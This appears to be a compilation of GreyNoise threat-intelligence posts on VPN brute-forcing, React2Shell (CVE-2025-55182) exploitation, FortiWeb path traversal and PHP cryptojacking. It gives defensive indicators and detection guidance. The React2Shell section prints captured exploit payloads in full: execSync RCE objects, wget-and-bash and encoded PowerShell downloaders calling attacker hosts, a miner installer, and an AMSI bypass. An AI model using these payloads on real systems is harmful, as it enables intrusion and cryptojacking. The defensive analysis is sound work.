The activity targeted GlobalProtect portals geolocated primarily in the United States, Pakistan, and Mexico. Traffic originated almost exclusively from IP space associated with the hosting provider 3xK GmbH (Germany), indicating centralized, cloud-hosted infrastructure rather than distributed end-user behavior. 

‍

‍

Observed Behavior

Login attempts followed a uniform request pattern and reused common username and password combinations. Most observed requests carried the same browser-like Firefox user agent, which is atypical for automated login activity originating from this provider. 

‍

‍

The consistency of the user agent, request structure, and timing suggests scripted credential probing designed to identify exposed or weakly protected GlobalProtect portals, rather than interactive access attempts or vulnerability exploitation. 

This activity reflects continued pressure against enterprise VPN authentication endpoints, a pattern GreyNoise has observed repeatedly during periods of heightened attacker activity. The behavior is notable due to the sharp rise in traffic in a short period of time, potentially reflecting the initiation of a new automated campaign or an attempt to inventory exposed GlobalProtect instances at scale. 

‍

Cisco SSL VPN Activity Follows

On 12 December, GreyNoise observed a sharp surge in opportunistic bruteforce login attempts targeting Cisco SSL VPN endpoints. Daily unique attacking IPs rose from a typical baseline of fewer than 200 to 1,273 IPS, representing a significant deviation from normal activity. The majority of this traffic targeted GreyNoise’s facade sensors — vendor-agnostic systems listening on many ports and thereby implying opportunistic instead of targeted activity. 

‍

‍

‍

Analysis shows this activity is infrastructure- and tooling-linked to the Palo Alto GlobalProtect login attempts observed earlier in the week. Cisco SSL VPN traffic shares the same TCP fingerprint (GreyNoise customers, please check inbox for intel brief revealing the full signature) and originates from 3xK GmbH IP space — the same hosting provider leveraged to drive the Palo Alto login wave.

‍

‍

The dominant user agent across Cisco SSL VPN attempts was: 

Mozilla/5.0 (Windows NT 10.0; Win64; x64)

This user agent is atypical for Cisco SSL VPN bruteforce activity sourced from 3xK infrastructure and marks the first time in the past 12 weeks that 3xK-hosted IPs have been deployed at scale against Cisco SSL VPN portals. 

Observed request bodies indicate automated credential-based authentication attempts rather than vulnerability exploitation. Example payloads follow standard SSL VPN login workflows, including CSRF token handling and parameterized username/password fields, consistent with scripted password spraying or credential stuffing. 

‍

Recommended Actions

Security professionals can take meaningful steps to defend against this activity: 

• Password/MFA Hygiene: Ensure all systems are protected with strong passwords and multi-factor authentication (MFA). 
• Regular Edge Device Audits: Consistently audit Cisco and Palo Alto Networks appliances to assess whether or not login attempts are expected, or require escalation. 

Additionally, GreyNoise platform customers should block all IPs above using our platform blocklists:

• Palo Alto Networks Login Scanner 
• Cisco SSL VPN Bruteforcer

Non-GreyNoise customers can use the following GreyNoise Block templates to quickly and easily block threat IPs:

• Palo Alto Networks Login Scanner
• Cisco SSL VPN Bruteforcer Attacks

New users can try GreyNoise Block free for 14-days.

‍

GreyNoise will continue monitoring this activity and make updates as necessary. 

‍

— — — 

‍

^{Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content programs that translate complex internet-scale threat activity into clear, actionable insights. Previously, he led partnered research initiatives with Google and the U.S. Department of Homeland Security, and was a member of the Council on Foreign Relations Young Professionals group. His background spans finance, technology, and engagement with the United Nations on global policy issues.}

‍

React2Shell Update: 7 January 2026

The React2Shell campaign continues at a sustained, elevated pace. Since initial disclosure, the GreyNoise Observation Grid has recorded over 8.1 million attack sessions, with daily volumes stabilizing in the 300,000–400,000 range after peaking above 430,000 in late December.

‍

Over 8.1 million sessions (each session delivers an R2S payload) have been seen since the start.

‍

8,163 Total IPs Observed Across Production & Research Sensors

The infrastructure footprint has grown considerably. We now observe 8,163 unique source IPs across 1,071 ASNs spanning 101 countries. The geographic and network distribution confirms broad adoption of this exploit across diverse threat actor ecosystems.

‍

Source Country Breakdown

Fifteen countries account for approximately 80% of observed source IPs:

‍

Top ASNs

Cloud infrastructure dominates the source network distribution, with Amazon Web Services alone representing over a third of observed exploitation traffic. The top 15 ASNs comprise roughly 60% of all source IPs:

‍

Payload and Fingerprint Diversity

The campaign has produced over 70,000 unique payloads, indicating continued experimentation and iteration by attackers. Network fingerprint analysis reveals 700 unique JA4H hashes (HTTP client fingerprints) and 340 unique JA4T hashes (TCP stack fingerprints), reflecting the variety of tooling being deployed against vulnerable endpoints.

Defenders should continue blocking IPs associated with this tag via GreyNoise Block and monitor for the JA4H/JA4T fingerprints published in the supplemental data repository. Given the sustained volume and breadth of infrastructure—over 8,000 IPs across 1,000+ ASNs—static IP blocklists alone are insufficient; dynamic blocking based on GreyNoise's continuously updated threat feeds remains the most effective perimeter control. Organizations that have not yet patched should treat this as an active, ongoing campaign with no signs of abatement.

Complete lists of source ASNs, JA4T fingerprints, and JA4H fingerprints are available at: github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2026-01-06-react2shell

‍

Update: 9 December 2025 

Due to the escalating situation, GreyNoise is sharing its weekly At The Edge intelligence brief — typically reserved for GreyNoise customers. In the brief you’ll find: 

• Full IOCs and TTPs
• All threat signatures GreyNoise has observed so far
• Actor tooling patterns and infrastructure characteristics 
• Clear, prioritized recommendations for response

And more intelligence regarding the React2Shell vulnerability (CVE-2025-55182).

‍

Update: 8 December 2025 

‍

Ongoing Attack Patterns

• Exploitation began rapidly after disclosure. 
• The number of IPs attempting exploitation has remained steady, inconsistent with early exploitation patterns for Log4j — an event industry professionals have compared to ongoing Next.js exploitation. 

‍

‍

Attack Scale Overview

A total of 362 unique IP addresses (as of 2025‑12‑08) were observed attempting to exploit the React2Shell vulnerability.

Of these, 152 (≈ 42 %) contained active payload data that could be analyzed. The remaining 210 IPs either:

• Connected but sent no payload data
• Sent malformed or empty payloads
• Had payload files that were empty

The attacks originated from a diverse set of geographic locations, spanning multiple countries and networks. This indicates that React2Shell has attracted attention from a wide range of threat actors, from automated botnets to more capable attackers.

‍

Attack Patterns 

Based on the payload analysis of 97 active attack samples, attackers primarily used the following techniques:

1. Arithmetic Calculations – Execute simple math operations to test command execution
2. System Information Gathering – Run commands like uname -a, whoami, or hostname to gather system details
3. Reverse Shell / Downloader Scripts – Download and execute malicious scripts
4. SSH Persistence – Install SSH keys for persistent access
5. Remote Script Execution – Download and execute scripts from remote servers (often PowerShell‑encoded)
6. Directory Reconnaissance – Use commands like pwd to explore the file system
7. Cross‑platform Commands – Use both Unix (sh) and Windows (powershell) commands

‍

Fresh Infrastructure Highlights Importance of Dynamic IP Blocking

The vast majority of threat actor IPs allocated to exploiting this vulnerability were first seen by GreyNoise post July 2025. 

‍

‍

We encourage defenders to leverage GreyNoise Block to instantly neutralize threat actor IPs attempting to exploit React2Shell. See below for more information. 

GreyNoise customers — please check your inbox for an early edition of At the Edge, detailing all client signatures, source/destination analysis, and other IOCs.

‍

‍

GreyNoise is already seeing opportunistic, largely automated exploitation attempts consistent with the newly disclosed React Server Components (RSC) “Flight” protocol RCE—often referred to publicly as “React2Shell” and tracked as CVE-2025-55182. Reporting to date describes unauthenticated remote code execution impacting React and downstream ecosystems (including Next.js) and urges immediate patching.

‍

Block IPs Linked to This Campaign

Defenders can use GreyNoise Block to immediately block malicious IPs associated with this activity by using the following template:

• React Server Components Unsafe Deserialization CVE-2025-55182 RCE Attempt

Customers can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.

‍

Enterprise customers have targeted blocklists available in the platform (specifying ASNs, JA4, destination country, etc), supporting full queries leveraging the entirety of GreyNoise’s parameters.

‍

‍

Our traffic shows a familiar modern pattern, with attackers using a mix of fresh and legacy infrastructure to orchestrate their campaigns. The HTTP client and TCP stack fingerprints are overwhelmingly automation-heavy, not organic browsing. There's also an early focus on just this vulnerability, but we've already detected a slow migration of this CVE being added to Mirai and other botnet exploitation kits.

The initial access attempts are using the publicly disclosed proof-of-concept code as a base, and stage-1 payloads performing proof-of-execution (PoE) probes (e.g., PowerShell arithmetic) to validate RCE cheaply and using coded PowerShell download-and-execute stagers (-enc + DownloadString + IEX). 

Then, a stage-2 payload that uses reflection to set System.Management.Automation.AmsiUtils.amsiInitFailed = true (standard AMSI bypass), then iex executes the next stage.

‍

React2Shell quick refresher

Public reporting indicates a maximum-severity issue in React Server Components’ Flight protocol that can yield unauthenticated RCE in vulnerable deployments, with downstream impact across popular frameworks, including Next.js. Patches have been released, and multiple outlets are urging urgent upgrades.

This matters operationally because RSC is a high-value target since it sits in front of application logic that often runs with production permissions. Thanks to services such as BuiltWith/Wappalyzer, the exposed services are easy to find and exploit at scale. Early waves tend to be broad and shallow, featuring opportunistic scanning, validation payloads, and commodity post-exploitation stagers.

‍

What we are observing in the initial POST request:

Attackers are first performing basic exploit proof-of-execution (PoE) validation using "cheap math" PowerShell commands:

‍

powershell -c "40138*41979"
powershell -c "40320*43488"

‍

This is a common exploitation workflow since deterministic output confirms command execution and output retrieval ability. It also leaves minimal endpoint artifacts (no file writes, no network), and makes detection rules a bit trickier due to low unique keyword visibility versus obvious primitives like IEX, DownloadString, or -enc.

After PoE, we observed encoded PowerShell stagers in standard form:

‍

powershell -enc <base64>

‍

Decoding one of these reveals a run-of-the-mill in-memory downloader:

‍

IEX (New-Object System.Net.Webclient).DownloadString('http://23[.]235[.]188[.]3:652/qMqSb')

‍

The retrieved stage-2 payload uses a lightweight byte-transform obfuscation (reverse-byte order and add a constant repeatedly), then uses reflection to set:

• Type: System.Management.Automation.AmsiUtils
• Field: amsiInitFailed
• Value: $true

in an attempt to bypass any anti-malware components that may be on the system.

This is an important campaign component because it’s stable across many commodity toolchains and can be detected reliably via PowerShell logging, even when the obfuscation changes.

‍

Traffic composition: automation dominates (so far)

From extracted POST requests, the top user agents were:

• Go-http-client/1.1
• A UA ending in Assetnote/1.0.0 on Chrome 60
• Safari 17.2.1
• Small volumes from aiohttp and python-requests, plus scattered “real browser” strings.

The presence of an Assetnote/1.0.0 marker is consistent with Assetnote-tagged scanning traffic documented in the ecosystem and built into the open-sourced scanner tool.

This is what standard early exploitation waves usually look like. We see a fair amount of automation, a mix of researcher/scanner traffic, and a small tail of organic-looking browser strings (often spoofed).

Across the JA4T+JA4H dataset collected so far, the distribution was highly concentrated in a handful of ASNs attributed to the Netherlands, China, the United States, Hong Kong, and a small tail of other countries.

These are the top JA4T/JA4H pairs, to-date:

• 42340_2-4-8-1-3_1460_11 + po11nn060000_3865ae1cc1d9_...
• 64240_2-1-3-1-1-4_1400_8 + po10nn090000_75eeec6218a0_...
• 42340_2-4-8-1-3_1460_11 + po11nn10enus_38148d6b7d75_...
• 42340_2-4-8-1-3_1460_10 + po11nn090000_3343762cd6d7_...

Source IP first/last-seen analysis shows a meaningful share of the observed exploitation IPs are newly observed in the recent window (nearly 50% being first seen in December 2025). This has become typical for modern opportunistic exploitation, with attackers leveraging the quick rotation of IPs in VPS and proxy pools.

‍

What makes this campaign “standard modern ops”

Nothing in this chain is novel, so far. The PoE commands are commodity exploitation hygiene, and the use of -enc + DownloadString + IEX is a staple pattern. Also, AmsiUtils.amsiInitFailed reflection bypass is widely documented and reused.

However, “not novel” ≠ “not serious.” This is exactly the kind of high-throughput exploitation that turns into credential theft, cryptomining, ransomware staging, or access-broker resale.

‍

Detection guidance (high-signal, low-regret)

• Utilize GreyNoise's rapidly updated blocklists to prevent opportunistic IP addresses from compromising your perimeter.

• If you can perform detection on endpoints, watch for process creation and encoded PowerShell + suspicious primitives.

• Alert on powershell.exe / pwsh.exe combined with -enc / -EncodedCommand and DownloadString( or IEX.

If you have Windows Event ID 4104 enabled alert on any script block containing any two of:

• System.Management.Automation.AmsiUtils
• amsiInitFailed
• GetField
• NonPublic,Static
• SetValue

If your detection platform supports it, aggregate detection on repeated powershell -c "<digits>*<digits>" across a short window, since it is a strong indicator of exploit validation.

Based on observed automation-heavy traffic (Go clients, scanner-tagged UAs, tight JA4 clustering) and rapid infrastructure build-up and churn, this looks like the first opportunistic wave, not a “hands-on-keyboard” intrusion set. Historically, this is when defenders can still win by ensuring patches are in place, putting high-quality endpoint detection in place, and using the provided network fingerprints to isolate potentially malicious inbound traffic requests.

‍

— — — 

Top-level indicators

Candidate exploitation source infrastructure is available via GreyNoise API.

‍

‍

Stage-1 / Stage-2 fetch:

• URL: http://23[.]235[.]188[.]3:652/qMqSb
• Port: 652/tcp
• Path: /qMqSb

PowerShell stager primitive:

• IEX` (New-Object System.Net.Webclient).DownloadString('')
• `powershell.exe -enc <base64>` (UTF-16LE encoded command)

Stage-2 defense evasion primitive (reflection AMSI flip):

• Type: System.Management.Automation.AmsiUtils
• Field: amsiInitFailed
• Setter: .GetField(<field>,"NonPublic,Static").SetValue($null,$true)

Exploit validation / “proof of execution” probes:

• powershell -c "<5-digit>*<5-digit>" (many unique pairs; deterministic output)

Unique payloads

[
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('curl 2f7ac6[.]ceye[.]io'); throw new Error('exploited');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('ping -c 7 45[.]157[.]233[.]80',{'timeout':8000}).toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('ping 5axzi7[.]dnslog[.]cn",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADMALgAyADMANQAuADEAOAA4AC4AMwA6ADYANQAyAC8AcQBNAHEAUwBiACcAKQA=');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://162[.]215[.]170[.]26:3000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://46[.]36[.]37[.]85:12000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget hxxp[://]vps-zap812595-1[.]zap-srv[.]com:3000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('curl -s -L hxxps[://]raw[.]githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner[.]sh | bash -s 44VvVLU2Vmja6gTMbhNHAzc7heYTiT7VmQEXkjdaYo6K41WqH8qWw1CL8wKAAgz5xLYT3XL3pb9KCUZS7PPZbzUGCCpZ9Ee').toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  }
]

‍

As a supplement to our analysis, please see Censy’s blog on the situation, providing insight into exposed instances and more. Also be sure to check out this blog from GreyNoise Labs - React2Shell Side Quest: Tracking Down Malicious MeshCentral Nodes.

On 2 December 2025, GreyNoise observed a concentrated spike of 7,000+ IPs attempting to log into Palo Alto Networks GlobalProtect portals. All activity originated from infrastructure operated by 3xK GmbH and targeted two Palo Alto profiles in GreyNoise’s Global Observation Grid (GOG).

‍

‍

While the spike — both IP- and session-based — was brief, its significance became clear only when compared with earlier activity. 

‍

A Returning Fingerprint

‍The December traffic shares three identical client fingerprints with a larger wave GreyNoise observed between late September and mid-October. 

That earlier activity originated from four ASNs not generally associated with malicious infrastructure:

• NForce Entertainment B.V. (AS43350)
• Data Campus Limited (AS215929)
• Flyservers S.A. (AS209588)
• Internet Solutions & Innovations LTD. (AS211632)

Over several weeks, these ASNs generated over 9 million non-spoofable HTTP sessions, with the majority targeting GlobalProtect portals and related authentication surfaces. 

‍

The return of the same client fingerprints — now from entirely different hosting infrastructure — indicates tooling continuity across what appear to be separate events. 

‍

SonicWall Activity Shows the Same Fingerprints

On 3 December, GreyNoise also recorded a surge in scanning against SonicWall SonicOS API endpoints. 

This traffic carried the same three client fingerprints, linking it directly to:

• The 2 December GlobalProtect login spike, and;
• The September – October login and bruteforcing spike.

The infrastructure changed. The vendors targeted were different. Yet, the client fingerprinting remained identical. 

‍

‍

Campaign Cadence

The combined telemetry shows a clear sequence:

• Late September – Mid October: high-volume login and bruteforce attempts from “clean” ASNs.
• Late November: reduced activity, with intermittent sessions around the Thanksgiving period. 
• 2 December: reappearance of the same scanning client on 3xK’s infrastructure, focused on Palo Alto portals. 
• 3 December: SonicWall SonicOS API scanning using the same three fingerprints. 

‍

Block IPs Linked to This Campaign 

GreyNoise Block customers can block all IPs triggering these GreyNoise tags via GreyNoise Block, using the following templates:

• Palo Alto (All activity)
• SonicWall (All activity)

Customers can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial. 

‍

Enterprise customers have targeted blocklists available in the platform (specifying ASNs, JA4, destination country, etc), supporting full queries leveraging the entirety of GreyNoise’s parameters.

• PALO ALTO: BLOCK IPS WITH PLATFORM BLOCKLIST
• SONICWALL: BLOCK IPS WITH PLATFORM BLOCKLIST

‍

‍In addition, defenders should:

• Monitor authentication surfaces for abnormal velocity or repeated failures. 
• Track recurring client fingerprints to surface campaign continuity. 
• Apply dynamic, context-aware blocking rather than static reputation lists. 

Fingerprint-level telemetry exposes cross-infrastructure relationships that defenders might otherwise miss. 

All GreyNoise customers will receive more detailed information in our next At The Edge intelligence brief, including JA4T fingerprints and more. 

GreyNoise will continue monitoring the situation and provide updates as necessary. 

‍

— — — 

‍

^{Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content programs that translate complex internet-scale threat activity into clear, actionable insights. Previously, he led partnered research initiatives with Google and the U.S. Department of Homeland Security, and was a member of the Council on Foreign Relations Young Professionals group. His background spans finance, technology, and engagement with the United Nations on global policy issues.}

GreyNoise has identified a significant escalation in malicious activity targeting Palo Alto Networks GlobalProtect portals. Beginning on 14 November 2025, activity rapidly intensified, culminating in a 40x surge within 24 hours, marking a new 90-day high.

GreyNoise has also identified strong connections between this spike and prior related campaigns. We assess with high confidence that these campaigns are at least partially driven by the same threat actor(s), supported by:

• Recurring fingerprint: consistent TCP/JA4t signatures across all activity.
  
• Shared infrastructure: recurring and highly concentrated use of the same ASNs.
  
• Temporal correlation: activity spikes aligning across campaigns.
  
  

GreyNoise now offers two solutions to block these IPs:

Defenders can use GreyNoise Block to immediately block malicious IPs associated with this activity. GreyNoise Block is a fast and easy solution that includes an out-of-box blocklist tracking malicious IPs targeting Palo Alto Networks systems. Search for ‘Palo Alto’ in the Template Search Box. You will need to add ‘classification:suspicious’ to block the IPs we are seeing associated with this scanning activity. You can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.

‍

For GreyNoise customers who need a more targeted blocklist (specifying ASNs, JA4, destination country, etc), GreyNoise now supports full query-based blocklists leveraging the entirety of GreyNoise query parameters.

‍

Surge in Palo Alto GlobalProtect Login Traffic

Since 11/14/2025, GreyNoise has observed 2.3 million sessions targeting the /global-protect/login.esp URI of Palo Alto PAN-OS and Palo Alto GlobalProtect.

Source Infrastructure

The campaign demonstrates a strong reliance on AS200373 (3xK Tech GmbH), expressed through two distinct geolocation clusters:

• 62% of all sessions originated from AS200373 geolocated to Germany, representing the majority and primary driver of the campaign.
  
• An additional 15% of traffic also originated from AS200373, but was geolocated to Canada, suggesting distributed hosting or exit infrastructure operating under the same ASN.
  

The remaining traffic was primarily sourced from AS208885 (Noyobzoda Faridduni Saidilhom), forming a secondary but consistent contributor.

‍

Target Geography

• Target countries: United States, Mexico, and Pakistan, each receiving nearly equivalent volumes of login attempts.
  

‍

JA4t Fingerprints

For hunting, two JA4t fingerprints encompass all related activity:

• 65495_2-4-8-1-3_65495_7
• 33280_2-4-8-1-3_65495_7

‍

‍

Infrastructure Concentration Across AS200373 and AS208885

The campaign’s infrastructure remains anchored in AS200373, with German-sourced traffic forming the most substantial segment. The parallel presence of a Canadian geolocation cluster within the same ASN—alongside persistent traffic from AS208885—indicates a distributed but coordinated hosting footprint.

‍

Historical Correlation With Fortinet Vulnerability Disclosures

GreyNoise research has consistently documented a strong historical pattern:

Spikes in Fortinet VPN brute-force attempts are typically followed by Fortinet VPN vulnerability disclosures within six weeks.

First identified in July, this trend continues to offer meaningful historical context for interpreting the current escalation in Palo Alto–focused activity.

GreyNoise has begun seeing active exploitation of CVE‑2025‑64446, the critical path‑traversal flaw that lets an unauthenticated actor run administrative commands on Fortinet FortiWeb appliances. The vulnerability landed in CISA’s KEV catalog on November 13th, and within roughly 72 hours, our global honeypot fleet was met with crafted requests aimed at a range of FortiWeb versions (7.0–8.0). The story is as old as time: the patch notes went out, and a [coordinated] group of scanners has already started weaponising the flaw.

‍

The flaw in a nutshell

FortiWeb’s management API accepts a traversal string that can be abused to reach the internal cgi‑bin endpoint, for example:

‍/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

When that endpoint is hit, the attacker gains the ability to execute privileged operations. The first exploit traffic hit our sensors on November 17, 2025, confirming a rapid weaponization cycle that matches the speed we typically see with high-impact edge-device vulnerabilities.

‍

What the wire is telling us

‍

‍

Our sensors observed eight distinct IPs probing at least six different JA4T (TCP) fingerprints and two JA4H (HTTP) fingerprints. Although the window sizes and MTUs vary, the ordering of TCP options (2‑4‑8‑1‑3) and the overall stack profile point to modern Linux‑derived clients rather than home routers or IoT devices. The TLS handshakes, however, were remarkably uniform: the dominant JA3 fingerprint is 9b72665518dedb3531426284fdec8237, a pattern we typically see from Python requests, libcurl‑derived stacks, or Firefox‑derived TLS libraries. In short: the same TLS implementation is being reused across multiple HTTP modules.

The infrastructure is spread across seven hosting providers—Flyservers, Clouvider, DigitalOcean, Kaopu Cloud, WorkTitans, InterHost, and HOSTKEY—with no residential, mobile, or commercial VPN presence. This distribution is classic for operators seeking resilience and deniability rather than a hobbyist “botnet‑of‑the‑week”.

User‑agent strings further betray the tooling. Some nodes cycle through hundreds of synthetically generated browser signatures, while others plainly identify themselves as python-requests/2.25.1 or node.js. A few even toss in Log4Shell‑style JNDI probes, indicating opportunistic hunting beyond just FortiWeb.

‍

‍

Who is pulling the strings?

The behavior aligns with initial‑access brokers and ransomware affiliate group patterns: rapid adoption of a high‑value CVE, large‑scale scanning, multi‑CVE probing on the same hosts, and an infrastructure deliberately dispersed across unrelated providers. Three of the observed IPs have a history of scanning for a laundry list of other enterprise edge vulnerabilities (CrushFTP, Confluence OGNL, Sophos XG, ColdFusion, Ivanti Connect Secure, etc.). That indicates the possibility that this Fortinet weakness will be added to the same attacker pipelines.

‍

Current activity

So far, the traffic we see is limited to environment discovery, version validation, traversal attempts, and occasional multi‑port probes (443, 8443, 8080, 9443, 10443). We have not yet captured a successful post‑exploitation payload in our deception environments, but the attack surface is large enough that a “scan now, exploit later” approach is entirely plausible. Three source IPs — 193.182.144.250, 38.60.203.31, 46.17.103.97 — notably drew additional attention on our Fortinet Network Security Appliance sensors. According to Censys, 38.60.203.31 and 46.17.103.97  are classified as being located in bulletproof hosting (you’ll need to use the Censys’ new cencli tool to see that label, which does not appear in the Platform UI).

‍

What defenders should do right now

Block these IPs

GreyNoise Block is a fast and easy solution that includes an out-of-box blocklist tracking malicious IPs targeting Fortinet systems. Search for ‘Fortinet’ in the Template Search Box. You can modify the template to specify source country, other IP classifications, CVE ID, CIDR block, etc. New users can get started with a 14-day free trial.

‍

For customers who need a more targeted blocklist (specifying ASNs, JA4, destination country, etc), GreyNoise now supports full query-based blocklists leveraging the entirety of GreyNoise query parameters. 

‍

Patch now

Fortinet’s fixes are available; any FortiWeb management interface exposed to the Internet should be updated without delay.

‍

Audit your logs

‍Look for any of the following: traversal strings (../, %3f), unauthenticated POSTs to /api/v2.0/cmdb/, hits on /cgi-bin/fwbcgi, sudden spikes in user‑agent diversity, or requests originating from the hosting providers listed above.

‍

Lock down the management plane

if the admin interface is public, assume it’s already been probed. Move it behind an allow‑list, VPN or bastion host, and keep it off the public Internet whenever possible.

‍

Enable detailed logging and retain it for forensic use

If an exploitation attempt succeeded before patching, you’ll need that data to understand the breach.

‍

Looking ahead

GreyNoise will keep an eye on this campaign for a shift from reconnaissance to active post‑exploitation, for any movement onto new hosting providers, for tooling changes, and for the appearance of FortiWeb access listings on underground markets. The current signals suggest this is not a short‑lived flash of interest but a persistent inventory‑building operation targeting enterprise edge devices.

If you run FortiWeb, treat CVE‑2025‑64446 as an immediate operational risk. Patching and proper network segmentation are no longer optional—they are the line between staying off a threat actor’s target list and becoming the next compromised foothold in a larger access‑bundle.

What we’re seeing

From August through October 2025, we observed (GreyNoise Visualizer) a clear ramp-up in exploitation attempts against PHP and PHP-based frameworks as actors push to deploy cryptominers. The query below captures a range of attempts (ThinkPHP, PHP CGI, PHPUnit, the recent PHP CVE-2024-4577, etc.), and the telemetry shows seven distinct attack patterns that move in parallel: steady in August–September, then spiking into October and November.

‍

‍

The loudest campaigns exploit ThinkPHP Framework LFI (CVE-2022-47945), PHP CGI (CVE-2012-1823), and PHP CVE-2024-4577, all of which show steep growth. Older chains (ThinkPHP Code Execution CVE-2019-9082, PHPUnit RCE) still produce meaningful volume—roughly 50–150 attempts per day—and the network graph implies these campaigns aren’t independent: they share infrastructure and tools, pointing to coordination or communal tooling.

‍

The infrastructure behind the attacks

Cloud providers constitute the majority of attacking IPs. Top offenders by IP count include Cloudflare (1,000 IPs), DigitalOcean (688), Google (536), and Contabo (512). The top 21 organizations account for about one-third of all attacking IPs—a mix of compromised customer VMs, misconfigured services, and rented infrastructure used for mining at scale.

‍

‍

Geographically, the attacks are global: German hosters (Contabo, Hetzner), Taiwanese carriers, and Chinese cloud platforms (Beijing Volcano Engine, Huawei, Alibaba) alongside large North American providers. Attackers are simply using whatever compute they can either rent or compromise.

‍

Why now: the cryptocurrency economics

Timing matters. With Bitcoin trading above $110,000 and the crypto market cap over $3.71 trillion, the math for miners is attractive. November has historically been a strong month for Bitcoin—the dataset going back to 2013 shows outsized gains in November (some years dramatically so). If Bitcoin rises from $70k to $110k, identical mining power suddenly produces ~57% more revenue.

Market projections referenced here are bullish—some analysts have mid-month price targets in the $120k–$125k range, and a few institutions have higher year-end targets. Monetary policy has also loosened recently: a 25-basis-point Fed cut in early November, the prospect of another cut in December, and an announced end to quantitative tightening on December 1 all increase liquidity that can flow into risk assets. Those conditions make mining more profitable now than a few months ago.

For attackers, that’s a simple incentive: higher price = higher payoff for the same stolen CPU cycles. They’re trying to scale into the window of maximum short-term profitability.

‍

The economics of cryptojacking

Cryptomining is attractive because its economics favor stealth and scale. Unlike ransomware, which requires victims and payment infrastructure, mining converts compute to coin with minimal friction. There are no negotiations, no human-in-the-loop—just silent revenue flow.

Cloud cryptojacking activity rose roughly 20% in 2025, showing that mining is now a commodity crime. The playbook is straightforward: scan, compromise, deploy a miner (binary, Docker image, or script), and funnel rewards to mining pools controlled by the attackers. Victims pick up the electricity and infrastructure cost while attackers collect the proceeds.

The barrier to entry is low: exploit kits, prebuilt miners, and scanners are widely available. Often, a successful chain of automated steps—probe, exploit, payload fetch, execute—is all that’s needed to get mining capacity online.

‍

Why PHP and internet-facing systems

PHP is everywhere: from tiny CMS installs to large web apps. Many sites run unpatched or old framework versions, and ThinkPHP—popular in parts of Asia but also found globally—shows up frequently in these campaigns.

The exploited vulnerabilities span a lengthy timeline (2012–2024), highlighting a core problem: old vulnerabilities don’t go away just because they’re old. Organizations patch parts of their stack, but legacy frameworks and forgotten installs remain exploitable. That persistence creates a reliable attack surface.

Internet-facing servers are preferred mining targets because they have more compute, run continuously, and often tolerate high resource use—so miners get better yield and longer uptime than they would from end-user devices.

‍

Why PHP matters in a cybersecurity context

• Ubiquitous: Powers ~₇₅% of websites; even if you don’t use it, your partners and vendors do.
• High-value target: Exploits in PHP apps (like WordPress or Drupal) are a top initial-access vector.
• Low visibility: Web servers running PHP are frequently unmonitored and outdated—perfect entry points.
• Common tradecraft: Criminals and nation-states alike use PHP web shells for persistence and lateral movement.
• Operational takeaway: Inventory, patch, and monitor PHP systems—don't let “legacy web” become your soft underbelly.

‍

The operational pattern

These campaigns use methodical internet scanning to find vulnerable PHP installs. Exploitation is typically automated; the same exploit will successfully target hundreds or thousands of identical stacks. Cryptominer deployment follows a standard recipe and is typically fully automated.

Because mining doesn’t exfiltrate sensitive data or immediately crash systems, it can persist for long periods. The miner quietly consumes CPU/GPU cycles and reports work to attacker-controlled pools. Victims notice degraded performance and higher costs long before they realize they’ve been harvested for crypto.

